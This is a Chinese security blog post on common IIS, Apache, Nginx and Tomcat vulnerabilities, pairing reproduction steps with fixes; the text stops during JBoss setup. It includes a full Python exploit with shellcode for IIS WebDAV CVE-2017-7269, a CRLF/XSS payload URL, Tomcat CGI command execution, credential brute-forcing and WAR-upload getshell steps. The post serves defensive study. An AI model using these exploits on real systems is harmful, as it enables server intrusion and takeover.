作者 | lyxhh

编辑 | Aaron

来源 | https://www.lxhsec.com/2019/03/04/middleware

本文系统地介绍了各种中间常见的安全漏洞,包含 IIS/Apache/Nginx/Tomcat/JBoss/Weblogic/GlassFish/WebSphere 等,文章目录详见如下。

  • 第一章:IIS

    • IIS 6 解析漏洞
    • IIS 7 解析漏洞
    • PUT 任意文件写入
    • IIS 短文件漏洞
    • HTTP.SYS 远程代码执行 (MS15-034)
    • RCE-CVE-2017-7269
  • 第二章:Apache

    • 未知扩展名解析漏洞
    • AddHandler 导致的解析漏洞
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
  • 第三章:Nginx

    • Nginx 配置文件错误导致的解析漏洞
    • Nginx 空字节任意代码执行漏洞
    • Nginx 文件名逻辑漏洞(CVE-2013-4547)
    • Nginx 配置错误导致的安全问题
  • 第四章:Tomcat

    • Tomcat 任意文件写入(CVE-2017-12615)
    • Tomcat 远程代码执行(CVE-2019-0232)
    • Tomcat + 弱口令 && 后台 getshell 漏洞
    • Tomcat manager App 暴力破解
  • 第五章:JBoss

    • JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
    • JBoss JMXInvokerServlet 反序列化漏洞
    • JBoss EJBInvokerServlet 反序列化漏洞
    • JBoss <=4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    • Administration Console 弱口令
    • JMX Console 未授权访问
  • 第六章:weblogic

    • XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)
    • Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019-2725)
    • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
    • Weblogic 任意文件上传漏洞(CVE-2018-2894)
    • Weblogic SSRF 漏洞 (CVE-2014-4210)
    • Weblogic 弱口令 && 后台 getshell
  • 第七章:GlassFish

    • GlassFish Directory Traversal(CVE-2017-1000028)
    • GlassFish 后台 Getshell
  • 第八章:WebSphere

    • Java 反序列化 (CVE-2015-7450)
    • 弱口令 && 后台 Getshell

1、IIS

IIS 是 Internet Information Services 的缩写,意为互联网信息服务,是由微软公司提供的基于运行 Microsoft Windows 的互联网基本服务。IIS 目前只适用于 Windows 系统,不适用于其他操作系统。

IIS 6 解析漏洞

基于文件名,该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成 Asp 解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。

Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图1

基于文件夹名,该版本 默认会将 *.asp / 目录下的所有文件当成 Asp 解析。

Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图2

另外,IIS6.x 除了会将扩展名为. asp 的文件解析为 asp 之外,还默认会将扩展名为. asa,.cdx,.cer 解析为 asp,

从网站属性 -> 主目录 -> 配置 可以看出,他们都是调用了 asp.dll 进行的解析。

Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图3

修复建议

由于微软并不认为这是一个漏洞,也没有推出 IIS 6.0 的补丁,因此漏洞需要自己修复。

1、限制上传目录执行权限,不允许执行脚本。

Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图4

2、不允许新建目录。

3.、上传的文件需经过重命名 (时间戳 + 随机数 +.jpg 等)

IIS 7 解析漏洞

1、安装 IIS7.5,控制面板 -> 程序 -> 打开或关闭 windows 功能。

Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图5

2、下载 php-5.2.6-win32-installer.msi

3、打开 msi,一直下一步来到选择 web server setup 的界面,在这里选择 IIS fastcgi, 之后一直下一步。

4、打开 IIS,管理工具 ->Internet 信息服务 (IIS) 管理器

5、选择编辑 ISAPI 或者 CGI 限制

添加安装的 php-cgi.exe 路径,描述随意。

6、返回第五步的第一个图片位置,点击处理程序映射,添加如下。

7、phpinfo 测试

IIS7.x 版本 在 Fast-CGI 运行模式下, 在任意文件,例:test.jpg 后面加上 /.php,会将 test.jpg 解析为 php 文件。

修复建议

配置 cgi.fix_pathinfo(php.ini 中) 为 0 并重启 php-cgi 程序

结果如下:

PUT 任意文件写入

IIS Server 在 Web 服务扩展中开启了 WebDAV 之后,支持多种请求,配合写入权限,可造成任意文件写入。

修复建议

关闭 WebDAV 和 写权限

IIS 短文件漏洞

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。在 cmd 下输入”dir /x” 即可看到短文件名的效果。

IIS 短文件名产生:

1、当后缀小于 4 时,短文件名产生需要文件 (夹) 名前缀字符长度大于等于 9 位。2、当后缀大于等于 4 时,文件名前缀字符长度即使为 1,也会产生短文件名。

目前 IIS 支持短文件名猜测的 HTTP 方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE 六种。 IIS 8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法被猜测成功。

复现:

IIS8.0 以下版本需要开启 ASP.NET 支持,IIS 大于等于 8.0 版本, 即使没有安装 ASP.NET,通过 OPTIONS 和 TRACE 方法也可以猜解成功。 以下通过开启 IIS6.0 ASP.NET 后进行复现。

当访问构造的某个存在的短文件名,会返回 404;

当访问构造的某个不存在的短文件名,会返回 400;

IIS 短文件漏洞局限性 1) 如果文件名本身太短也是无法猜解的; 2) 此漏洞只能确定前 6 个字符,如果后面的字符太长、包含特殊字符,很难猜解; 3) 如果文件名前 6 位带空格,8.3 格式的短文件名会补进,和真实文件名不匹配; 4) 如果文件夹名前 6 位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报; 5) 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过 4 个中文字会产生短文件名,但是 IIS 不支持中文猜测。

修复建议

1)从 CMD 命令关闭 NTFS 8.3 文件格式的支持

Windows Server 2003:(1 代表关闭,0 代表开启) 关闭该功能:fsutil behavior set disable8dot3 1

Windows Server 2008 R2:

查询是否开启短文件名功能:fsutil 8dot3name query 关闭该功能:fsutil 8dot3name set 1

不同系统关闭命令稍有区别,该功能默认是开启的.

2)或从修改注册表关闭 NTFS 8.3 文件格式的支持

快捷键 Win+R 打开命令窗口,输入 regedit 打开注册表窗口

找到路径: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的 NtfsDisable8dot3NameCreation 这一项的值设为 1,1 代表不创建短文件名格式

以上两种方式修改完成后,均需要重启系统生效。

Note: 此方法只能禁止 NTFS8.3 格式文件名创建, 已经存在的文件的短文件名无法移除,需要重新复制才会消失。 例: 将 web 文件夹的内容拷贝到另一个位置,如 c:\www 到 c:\ww, 然后删除原文件夹,再重命名 c:\ww 到 c:\www。

HTTP.SYS 远程代码执行 (MS15-034)

影响范围: Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

复现:

在 Windows7 上 安装 IIS7.5。 1、访问。

2、编辑请求头,增加 Range: bytes=0-18446744073709551615 字段,若返回码状态为 416 Requested Range Not Satisfiable,则存在 HTTP.SYS 远程代码执行漏洞

漏洞有点鸡肋,配合其他漏洞使用还是可以用用的,具体使用可转至 MSF 中。

修复建议

安装修复补丁(KB3042553)

RCE-CVE-2017-7269

Microsoft Windows Server 2003 R2 中的 Internet 信息服务(IIS)6.0 中的 WebDAV 服务中的 ScStoragePathFromUrl 函数中的缓冲区溢出允许远程攻击者通过以”If:<http://“开头的长标头执行任意代码 PROPFIND 请求。

影响范围: 在 Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用 IIS 6.0 并开启 WebDAV 扩展。

复现: CVE 作者给出的 exp 计算机弹弹弹!!! 用 python2 运行,结果如下。

任务管理器开启了 calc.exe 进程,因为计算器是网络服务权限打开的,所以我们在桌面上看不见。

这个漏洞有几个需要注意的地方,如下。

由于作者提供的 Exp 执行之后就卡在那里了,因此不适合用弹计算机的 shellcode 进行测试,网上找了个 dalao 的回显 shellcode 来测试。

首先将上图中 python2 IDE 运行时产生的 Raw 类型的 HTTP 数据包 copy 保存至记事本中,然后在 Burp Repeater 模块 Paste from file。

将 shellcode 更换成如下:

  1. VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A

结果:

CVE 作者给出的 Exp 是在默认端口,默认域名,默认路径的情况下适用。

第一个需要注意的是端口和域名绑定问题:

当端口改变时,If 头信息中的两个 url 端口要与站点端口一致,如下。

当域名改变时,If 头信息中的两个 url 域名要与站点域名一致,且 HOST 头也要与站点域名一致。如下

不修改 Host 将返回 502, 如下

Note:

  1. 1、测试的时候凡是需要修改IIS配置的操作,修改完毕后都需要重启IIS
  2. 2、或者在不超过禁用阈值的前提下结束w3wp进程。

第二个需要注意的是物理路径问题:

CVE 作者提供的 Exp 是在 默认路径长度等于 19(包括结尾的反斜杠) 的情况下适用,IIS 默认路径一般为:c:\inetpub\wwwroot

解决方法:

当路径长度小于 19 时需要对 padding 进行添加。 当路径长度大于 19 时需要对 padding 进行删除。

ROP 和 stackpivot 前面的 padding 实际上为 UTF8 编码的字符,每三个字节解码后变为两个字节的 UTF16 字符,在保证 Exp 不出错的情况下,有 0x58 个字符是没用的。所以可以将前 0x108 个字节删除,换成 0x58 个 a 或 b。

原 exp 修改后如下:

  1. \# coding:utf\-8
  2. import socket
  3. sock \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)
  4. sock.connect(('192.168.124.129',8888))
  5. pay\='PROPFIND / HTTP/1.1\\r\\nHost: www.lxhsec.com\\r\\nContent-Length: 0\\r\\n'
  6. pay+='If: <http://www.lxhsec.com:8888/aaaaaaa'
  7. pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
  8. pay+='\\xe6\\xa9\\xb7\\xe4\\x85\\x84\\xe3\\x8c\\xb4\\xe6\\x91\\xb6\\xe4\\xb5\\x86\\xe5\\x99\\x94\\xe4\\x9d\\xac\\xe6\\x95\\x83\\xe7\\x98\\xb2\\xe7\\x89\\xb8\\xe5\\x9d\\xa9\\xe4\\x8c\\xb8\\xe6\\x89\\xb2\\xe5\\xa8\\xb0\\xe5\\xa4\\xb8\\xe5\\x91\\x88\\xc8\\x82\\xc8\\x82\\xe1\\x8b\\x80\\xe6\\xa0\\x83\\xe6\\xb1\\x84\\xe5\\x89\\x96\\xe4\\xac\\xb7\\xe6\\xb1\\xad\\xe4\\xbd\\x98\\xe5\\xa1\\x9a\\xe7\\xa5\\x90\\xe4\\xa5\\xaa\\xe5\\xa1\\x8f\\xe4\\xa9\\x92\\xe4\\x85\\x90\\xe6\\x99\\x8d\\xe1\\x8f\\x80\\xe6\\xa0\\x83\\xe4\\xa0\\xb4\\xe6\\x94\\xb1\\xe6\\xbd\\x83\\xe6\\xb9\\xa6\\xe7\\x91\\x81\\xe4\\x8d\\xac\\xe1\\x8f\\x80\\xe6\\xa0\\x83\\xe5\\x8d\\x83\\xe6\\xa9\\x81\\xe7\\x81\\x92\\xe3\\x8c\\xb0\\xe5\\xa1\\xa6\\xe4\\x89\\x8c\\xe7\\x81\\x8b\\xe6\\x8d\\x86\\xe5\\x85\\xb3\\xe7\\xa5\\x81\\xe7\\xa9\\x90\\xe4\\xa9\\xac'
  9. pay+='>'
  10. pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb'
  11. pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'
  12. pay+='\\xe5\\xa9\\x96\\xe6\\x89\\x81\\xe6\\xb9\\xb2\\xe6\\x98\\xb1\\xe5\\xa5\\x99\\xe5\\x90\\xb3\\xe3\\x85\\x82\\xe5\\xa1\\xa5\\xe5\\xa5\\x81\\xe7\\x85\\x90\\xe3\\x80\\xb6\\xe5\\x9d\\xb7\\xe4\\x91\\x97\\xe5\\x8d\\xa1\\xe1\\x8f\\x80\\xe6\\xa0\\x83\\xe6\\xb9\\x8f\\xe6\\xa0\\x80\\xe6\\xb9\\x8f\\xe6\\xa0\\x80\\xe4\\x89\\x87\\xe7\\x99\\xaa\\xe1\\x8f\\x80\\xe6\\xa0\\x83\\xe4\\x89\\x97\\xe4\\xbd\\xb4\\xe5\\xa5\\x87\\xe5\\x88\\xb4\\xe4\\xad\\xa6\\xe4\\xad\\x82\\xe7\\x91\\xa4\\xe7\\xa1\\xaf\\xe6\\x82\\x82\\xe6\\xa0\\x81\\xe5\\x84\\xb5\\xe7\\x89\\xba\\xe7\\x91\\xba\\xe4\\xb5\\x87\\xe4\\x91\\x99\\xe5\\x9d\\x97\\xeb\\x84\\x93\\xe6\\xa0\\x80\\xe3\\x85\\xb6\\xe6\\xb9\\xaf\\xe2\\x93\\xa3\\xe6\\xa0\\x81\\xe1\\x91\\xa0\\xe6\\xa0\\x83\\xcc\\x80\\xe7\\xbf\\xbe\\xef\\xbf\\xbf\\xef\\xbf\\xbf\\xe1\\x8f\\x80\\xe6\\xa0\\x83\\xd1\\xae\\xe6\\xa0\\x83\\xe7\\x85\\xae\\xe7\\x91\\xb0\\xe1\\x90\\xb4\\xe6\\xa0\\x83\\xe2\\xa7\\xa7\\xe6\\xa0\\x81\\xe9\\x8e\\x91\\xe6\\xa0\\x80\\xe3\\xa4\\xb1\\xe6\\x99\\xae\\xe4\\xa5\\x95\\xe3\\x81\\x92\\xe5\\x91\\xab\\xe7\\x99\\xab\\xe7\\x89\\x8a\\xe7\\xa5\\xa1\\xe1\\x90\\x9c\\xe6\\xa0\\x83\\xe6\\xb8\\x85\\xe6\\xa0\\x80\\xe7\\x9c\\xb2\\xe7\\xa5\\xa8\\xe4\\xb5\\xa9\\xe3\\x99\\xac\\xe4\\x91\\xa8\\xe4\\xb5\\xb0\\xe8\\x89\\x86\\xe6\\xa0\\x80\\xe4\\xa1\\xb7\\xe3\\x89\\x93\\xe1\\xb6\\xaa\\xe6\\xa0\\x82\\xe6\\xbd\\xaa\\xe4\\x8c\\xb5\\xe1\\x8f\\xb8\\xe6\\xa0\\x83\\xe2\\xa7\\xa7\\xe6\\xa0\\x81'
  13. shellcode\='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A'
  14. pay+=shellcode
  15. pay+='>\\r\\n\\r\\n'
  16. print pay
  17. sock.send(pay)
  18. data \= sock.recv(80960)
  19. print data
  20. sock.close

执行:

当路径长度小于 19 时,如下,需要增加 12 个 a,b

而实际中路径常常大于 19,需要对 padding 进行删除。

当路径为c:\www\的时候,a 有 107 个,加起来有 114 个,除去盘符有 111 个字符,所以可以把 Exp 的 padding 增加至 111,并逐次进行减少。当长度不匹配时返回 500,成功时返回 200,通过爆破方式得到物理路径长度。 成功:

失败:

当然如果能得到物理路径,则用 114 减去物理路径长度(包括末尾的反斜杠)就是所需的 padding 长度。

第三个需要注意的是,超时问题。 当 exp 执行成功一段时间之后(大概十分钟到二十分钟左右,其间无论有无访问),再对这个站点执行 exp 永远不会成功,同时返回 400。

解决方法: 1. 等待 w3wp 重启。 2. 测试旁站(因为每个池都是独立的 w3wp 进程,换一个可能在其他池的旁站进行尝试)

第四个需要注意的是,多次执行错误 shellcode

多次执行错误的 shellcode 会覆盖很多不该覆盖的代码,从而导致正确的 shellcode 执行时也返回 500, 提示信息为:参数不正确,也可能什么都不返回。

解决方法: 1. 等待 w3wp 重启。 2. 测试旁站(因为每个池都是独立的 w3wp 进程,换一个可能在其他池的旁站进行尝试)

修复建议: 关闭 WebDAV

2、Apache

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。它快速、可靠并且可通过简单的 API 扩充,将 Perl/Python 等解释器编译到服务器中。

未知扩展名解析漏洞

Apache 的解析漏洞依赖于一个特性:Apache 默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在 mime.types 文件内),则继续向左识别,直到识别到合法后缀才进行解析。

复现: 这里使用 phpstudy 进行复现。 下载地址: http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip.zip)

访问 phpinfo.php.xxx

实战中可以上传 rar,owf 等文件进行利用,如果上传 phpinfo.php.jpg,即使文件名中有. php,也会直接解析为 jpg。因为 Apache 认识. jpg, 停止继续向左识别。

AddHandler 导致的解析漏洞

如果运维人员给. php 后缀增加了处理器: AddHandler application/x-httpd-php .php 那么,在有多个后缀的情况下,只要一个文件名中含有. php 后缀,即被识别成 PHP 文件,没必要是最后一个后缀。 利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现:

即使最右边的文件格式是在 mime.types 文件内,只要文件名中出现. php,就直接被解析为 php。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

影响范围:2.4.0~2.4.29 版本 环境:phpstudy2014 Apache + PHP5.4n

此漏洞形成的根本原因,在于 $, 正则表达式中 $ 不仅匹配字符串结尾位置,也可以匹配\n 或 \r

在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

  1. <FilesMatch \\.php$\>
  2. SetHandler application/x\-httpd\-php
  3. </FilesMatch\>

测试代码:

  1. <html\>
  2. <body\>
  3. <form action\="" method\="post" enctype\="multipart/form-data"\>
  4. <input type\="file" name\="file" /\>
  5. <input type\="text" name\="name" /\>
  6. <input type\="submit" value\="上传文件" /\>
  7. </form\>
  8. </body\>
  9. </html\>
  10. <?php
  11. if(isset($\_FILES\['file'\])) {
  12. $name \= basename($\_POST\['name'\]);
  13. $ext \= pathinfo($name,PATHINFO\_EXTENSION);
  14. if(in\_array($ext, \['php', 'php3', 'php4', 'php5', 'phtml', 'pht'\])) {
  15. exit('bad file');
  16. }
  17. echo "ok";
  18. move\_uploaded\_file($\_FILES\['file'\]\['tmp\_name'\], './' . $name);
  19. }
  20. ?\>

点击 Go 后,效果如下:

相同代码在 Linux 下进行测试,可以正常写入。

访问:

限制:获取文件名时不能用 $_FILES[‘file’][‘name’],因为它会自动把换行去掉。

修复建议

1、升级到最新版本

2、或将上传的文件重命名为为时间戳 + 随机数 +.jpg 的格式并禁用上传文件目录执行脚本权限。

3、Nginx

Nginx 是一款轻量级的 Web 服务器 / 反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在 BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上 nginx 的并发能力确实在同类型的网页服务器中表现较好。

Nginx 配置文件错误导致的解析漏洞

对于任意文件名,在后面添加 / xxx.php(xxx 为任意字符)后, 即可将文件作为 php 解析。 例:info.jpg 后面加上 / xxx.php,会将 info.jpg 以 php 解析。

这里使用 phpstudy2014 ,Nginx + PHP5.3n 进行复现 (以下复现若无特别说明均采用此环境) 结果:

该漏洞是 Nginx 配置所导致,与 Nginx 版本无关,下面是常见的漏洞配置。

  1. server {
  2. location ~ \\.php$ {
  3. root /work/www/test;
  4. fastcgi\_index index.php;
  5. fastcgi\_param SCRIPT\_FILENAME
  6. $document\_root$fastcgi\_script\_name;
  7. include fastcgi\_params;
  8. fastcgi\_pass unix:/tmp/php\-fpm.sock;
  9. }
  10. }

当攻击者访问 / info.jpg/xxx.php 时, Nginx 将查看 URL,看到它以. php 结尾,并将路径传递给 PHP fastcgi 处理程序。 Nginx 传给 php 的路径为c:/WWW/info.jpg/xxx.php, 在 phpinfo 中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]得到。

PHP 根据 URL 映射,在服务器上寻找 xxx.php 文件,但是 xxx.php 不存在,又由于 cgi.fix_pathinfo 默认是开启的,因此 PHP 会继续检查路径中存在的文件,并将多余的部分当作 PATH_INFO。接着 PHP 在文件系统中找到. jpg 文件,而后以 PHP 的形式执行. jpg 的内容,并将 / xxx.php 存储在 PATH_INFO 后丢弃,因此我们在 phpinfo 中的$_SERVER['PATH_INFO']看的到值为空。

Note:php 的一个选项:cgi.fix_pathinfo,该选项默认开启,值为 1,用于修理路径, 例如:当 php 遇到文件路径”/info.jpg/xxx.php/lxh.sec” 时,若”/info.jpg/xxx.php/lxh.sec” 不存在,则会去掉最后的”/lxh.sec”,然后判断”/info.jpg/xxx.php” 是否存在, 若存在则将 / info.jpg/xxx.php 当作文件 / info.jpg/xxx.php/lxh.sec,若 / info.jpg/xxx.php 仍不存在,则继续去掉 xxx.php, 依此类推。

修复建议

1、配置 cgi.fix_pathinfo(php.ini 中) 为 0 并重启 php-cgi 程序

结果:

2、或如果需要使用到 cgi.fix_pathinfo 这个特性(例如:Wordpress),那么可以禁止上传目录的执行脚本权限。 或将上传存储的内容与网站分离,即站库分离。

3、或高版本 PHP 提供了 security.limit_extensions 这个配置参数,设置security.limit_extensions = .php

Nginx 空字节任意代码执行漏洞

影响版本:Nginx 0.5*, 0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37

这里提供个打包好的 Windows 环境 Nginx 0.7.65+php 5.3.2

链接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw 提取码:imdm

解压后,在 Nginx 目录下执行 startup.bat

然后在nginx-0.7.65/html/目录下创建 info.jpg, 内容为<?php phpinfo();?>,

访问info.jpg,并抓包,修改为info.jpg..php,在 Hex 选修卡中将 jpg 后面的.,更改为00.

Note: 该漏洞不受cgi.fix_pathinfo影响,当其为 0 时,依旧解析。

修复建议

升级 Nginx 版本

Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

在 Windows 弄了个环境,后来发现要文件名的后面存在空格,而 Windows 是不允许存在此类文件的,因此这里复现,使用 Vulhub 的 docker 进行复现。

访问http://your-ip:8080/ 上传文件

访问http://your-ip:8080/uploadfiles/info.jpg, 并抓包,修改为 info.jpg…php, 在 Hex 选修卡中将 jpg 后面的两个点 2e 改成 20,00 点击 Go, 如下。

Note: 该漏洞不受 cgi.fix_pathinfo 影响,当其为 0 时,依旧解析,在 Windows 上有所限制。

修复建议

1、设置 security.limit_extensions = .php

2、或升级 Nginx

Nginx 配置错误导致的安全问题

CRLF 注入

查看 Nginx 文档,可以发现有三个表示 uri 的变量: 1.Web中间件常见安全漏洞总结 - 云 社区 - 腾讯云 - 图6document_uri 3.$request_uri

1 和 2 表示的是解码以后的请求路径,不带参数;3 表示的是完整的 URI(没有解码)

Nginx 会将 1,2 进行解码,导致传入 %0a%0d 即可引入换行符,造成 CRLF 注入漏洞。

错误配置:

访问: http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E 将返回包的 Location 端口设置为小于 80,使得浏览器不进行跳转,执行 XSS。

结果:

修复建议

  1. location / {
  2. return 302 https://$host$request\_uri;
  3. }

目录穿越

Nginx 在配置别名(Alias)的时候,如果忘记加 /,将造成一个目录穿越漏洞。

错误的配置文件示例(原本的目的是为了让用户访问到 C:/WWW/home / 目录下的文件):

  1. location /files {
  2. autoindex on;
  3. alias c:/WWW/home/;
  4. }

结果:

修复建议

只需要保证 location 和 alias 的值都有后缀 / 或都没有 / 这个后缀。

目录遍历

当 Nginx 配置文件中,autoindex 的值为 on 时,将造成一个目录遍历漏洞。

结果:

修复建议

将 autoindex 的值为置为 off。

Nginx 的配置文件分为 Server、Location 等一些配置块,并且存在包含关系,子块会继承父块的一些选项,比如 add_header。

如下配置中,整站(父块中)添加了 CSP 头:

正常情况下访问:

当访问 /test2 时,XSS 被触发。因 / test2 的 location 中添加了 X-Content-Type-Options 头,导致父块中的 add_header 全部失效。

Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试 JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好 Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上 Tomcat 是 Apache 服务器的扩展,但运行时它是独立运行的,所以当运行 tomcat 时,它实际上作为一个与 Apache 独立的进程单独运行的。

Tomcat 任意文件写入(CVE-2017-12615)

环境:Tomcat/8.0.30

漏洞本质是 Tomcat 配置文件 / conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件:

增加完配置之后,记得重启 Tomcat,效果如下:

当 readonly=true 时,效果如下。

Tomcat 远程代码执行(CVE-2019-0232)

影响范围:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93 影响系统:Windows

测试环境: Apache Tomcat v8.5.39 JDK 1.8.0_144

修改配置: web.xml

  1. <init\-param\>
  2. <param\-name\>debug</param\-name\>
  3. <param\-value\>0</param\-value\>
  4. </init\-param\>
  5. <init\-param\>
  6. <param\-name\>executable</param\-name\>
  7. <param\-value\></param\-value\>
  8. </init\-param\>

content.xml

Tomcat\webapps\ROOT\WEB-INF新建cgi目录,并创建lxhsec.bat文件,内容任意。

访问http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

执行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

Note:net 命令的路径要写全,直接写 net user,Tomcat 控制台会提示 net 不是内部命令,也不是可运行的程序,另 必须使用 + 号连接,使用空格,%2B 都会执行失败,控制台报错。

修复建议

这个默认是关闭的,如果打开了请关闭,若需使用请升级版本。

Tomcat + 弱口令 && 后台 getshell 漏洞

环境:Apache Tomcat/7.0.94

在 conf/tomcat-users.xml 文件中配置用户的权限:

  1. <tomcat\-users\>
  2. <role rolename\="manager-gui"/\>
  3. <role rolename\="manager-script"/\>
  4. <role rolename\="manager-jmx"/\>
  5. <role rolename\="manager-status"/\>
  6. <role rolename\="admin-gui"/\>
  7. <role rolename\="admin-script"/\>
  8. <user username\="tomcat" password\="tomcat" roles\="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /\>
  9. </tomcat\-users\>

正常安装的情况下,tomcat7.0.94 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

访问 http://127.0.0.1:8080/manager/html , 输入弱密码 tomcat:tomcat,登陆后台。

生成 war 包: jar -cvf lxhspy.war lxhspy.jsp

部署后,访问 http://127.0.0.1:8080/war 包名 / 包名内文件名, 如下。

修复建议

1、若无必要,取消 manager/html 功能。

2、若要使用,manager 页面应只允许本地 IP 访问

Tomcat manager App 暴力破解

环境:Apache Tomcat/7.0.94

访问:http://127.0.0.1:8080/manager/html, 输入密码,抓包,如下。

刚才输入的账号密码在 HTTP 字段中的 Authorization 中,规则为 Base64Encode(user:passwd) Authorization: Basic dG9tY2F0OmFkbWlu 解码之后如下:

将数据包发送到 intruder 模块,并标记 dG9tY2F0OmFkbWlu。

Payload type 选择 Custom iterator,设置三个 position,1 为用户字典,2 为:,3 为密码字典,并增加 Payload Processing 为 Base64-encode 如下:

最后取消 Palyload Encoding 编码。

结果:

修复建议

1、若无必要,取消 manager/html 功能。

2、若要使用,manager 页面应只允许本地 IP 访问

5、JBoss

jBoss 是一个基于 J2EE 的开发源代码的应用服务器。JBoss 代码遵循 LGPL 许可,可以在任何商业应用中免费使用。JBoss 是一个管理 EJB 的容器和服务器,支持 EJB1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 servlet/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。

默认端口: 8080,9990

Windows 下 Jboss 安装,

1、下载http://jbossas.jboss.org/downloads/

2、解压,我这里解压后的目录为:C:\jboss-6.1.0.Final

3、新建环境变量:JBOSS_HOME 值为:C:\jboss-6.1.0.Final 在 path 中加入:;%JBOSS_HOME%\bin;

4、打开 C:\jboss-6.1.0.Final\bin 双击 run.bat。出现 info 消息,即配置成功。

Note: 注意 JDK 版本要在 1.6~1.7 之间,1.8 版本 jBoss 运行打开 JMX Console 会出现 500 错误。

jboss 默认部署路径:

C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

设置外网访问,将

C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

  1. <!\-- A HTTP/1.1 Connector on port 8080 \--\>
  2. <Connector protocol\="HTTP/1.1" port\="${jboss.web.http.port}" address\="${jboss.bind.address}"
  3. redirectPort\="${jboss.web.https.port}" /\>

将 address=”${jboss.bind.address}” 设置为 address=”0.0.0.0” , 并重启 JBoss

